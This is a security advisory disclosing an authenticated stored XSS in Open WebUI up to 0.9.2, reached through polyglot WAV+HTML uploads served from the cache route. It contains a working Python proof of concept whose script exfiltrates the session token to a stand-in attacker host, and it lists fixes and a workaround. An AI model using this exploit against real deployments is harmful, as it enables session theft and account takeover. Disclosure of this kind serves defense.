OSV 1.4.0 · github-reviewed · 修改于 2026-05-20 00:02
发布时间
2026-05-15 04:17
GitHub 审查时间
2026-05-15 04:17
NVD 发布时间
2026-05-16 06:16
源文件
advisories/github-reviewed/2026/05/GHSA-m8f9-9whg-f4xr/GHSA-m8f9-9whg-f4xr.json
The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.
Verified on main @ 8dae237a (v0.9.2):
Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.
import struct, httpx
data = b'\x80' * 44100
wav = struct.pack('<4sI4s4sIHHIIHH4sI',
b'RIFF', 36 + len(data), b'WAVE',
b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
b'data', len(data)) + data
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
r = httpx.post(
'https://VICTIM/api/v1/audio/transcriptions',
headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
files={'file': ('pwn.html', payload, 'audio/wav')},
)
fn = r.json()['filename'] # '<uuid>.html'
#Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>
Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.
Affected: <= 0.9.2.
Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.
Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.